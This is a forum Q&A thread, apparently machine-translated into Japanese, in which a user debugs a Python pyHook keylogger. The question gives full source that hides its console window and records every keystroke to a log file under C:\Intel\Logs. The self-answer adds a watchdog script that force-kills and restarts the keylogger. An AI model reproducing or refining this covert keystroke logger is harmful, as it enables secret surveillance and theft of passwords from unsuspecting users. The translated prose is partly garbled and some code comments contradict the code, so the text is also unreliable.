2017-02-27 3 views
0

私はPyhookには新しく、教育目的のために自分自身をキーロガーにしたかったのです。しかし、ログは私に奇妙な入力を与える。ランダムなシンボル、常に首都、あるいはすべての正常と正常のいずれかです。Pyhookは何らかの理由で私に奇妙な出力を与えます

私はPython 3.4を使用していますが、私はWindowsです。

これは私のコードです:

import pyHook 
import pythoncom 
import win32gui 
import win32console 
import os 
import sys 
import time 
import getpass 



file = open("C:\\Intel\\Logs\\log.txt", "w") 
file.write("") #clears the log 
file.close() 

log_file = "C:\\Intel\\Logs\\log.txt"     #name of log file 
window = win32console.GetConsoleWindow() #go to script window 
win32gui.ShowWindow(window,0)    #hide window 





def pressed_chars(event):   #on key pressed function 
    if event.Ascii: 
     f = open(log_file, "a") 
     if event.Ascii == 97:  # (if char is "return") 
      f.write("a") # (open log_file in append mode) 
     char = chr(event.Ascii) # (insert real char in variable)    
     if event.Ascii == 13:  # (if char is "return") 
      f.write("\n")   # (new line) 
     elif event.Ascii == 8:  #(if char is "backspace") 
      f.write("[BACKSPACE]") #(print "[backspace]") 
     f.write(char) 
     print(char)# (write char) 



proc = pyHook.HookManager()  #open pyHook 
proc.KeyDown = pressed_chars  #set pressed_chars function on KeyDown event 
proc.HookKeyboard()    #start the function 
pythoncom.PumpMessages()   #get input 

コードは、主にインターネットから取得されますが、わずかに変更されています。

ここで、問題は次のとおりです。それはいつも正常な出力になることをどうすれば確認できますか?

明確にする必要があるものがあれば教えてください。

+0

奇妙な入力、奇妙な出力、および通常の出力はどういう意味ですか? – BornToCode

+0

通常の出力:実際にiタイプのものを出力しているとき。奇妙なもの:私はそれらを使うことさえできないようですhttps://gyazo.com/db2f067f55cabf97c179e2a8e0db0a37 – Lojas

答えて

0

だから私はちょっと仕事をすることができた。 私はちょうどバックラウンドでこのスクリプトを実行していたので、これらの奇妙な入力を私に渡すたびに、それは私に実際の手紙を与えるまで再開します。

import os 
import time 

count = True 
while count == True: 
    time.sleep(40) 
    if "a" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "b" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "c" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "d" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "e" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "f" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "g" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "h" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "i" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "j" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "k" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "l" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "m" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "n" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "o" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "p" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "q" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "r" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "s" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "t" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "u" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "v" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "w" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "x" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "y" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "z" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "A" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "B" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "C" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "D" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "E" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "F" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "G" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "H" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "I" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "J" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "K" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "L" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "M" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "N" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "O" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "P" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "Q" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "R" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "S" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "T" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "U" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "V" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "W" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "X" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "Y" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if not "Z" in open("C:\\Intel\\Logs\\log.txt").read(): 
     print("hi") 
     os.popen("taskkill/F /IM thekeylogger") 
     time.sleep(1) 
     os.popen("start thekeylogger.") 
     continue 

誰かがこのためのよりよい解決策を得た場合、私に教えてください。

関連する問題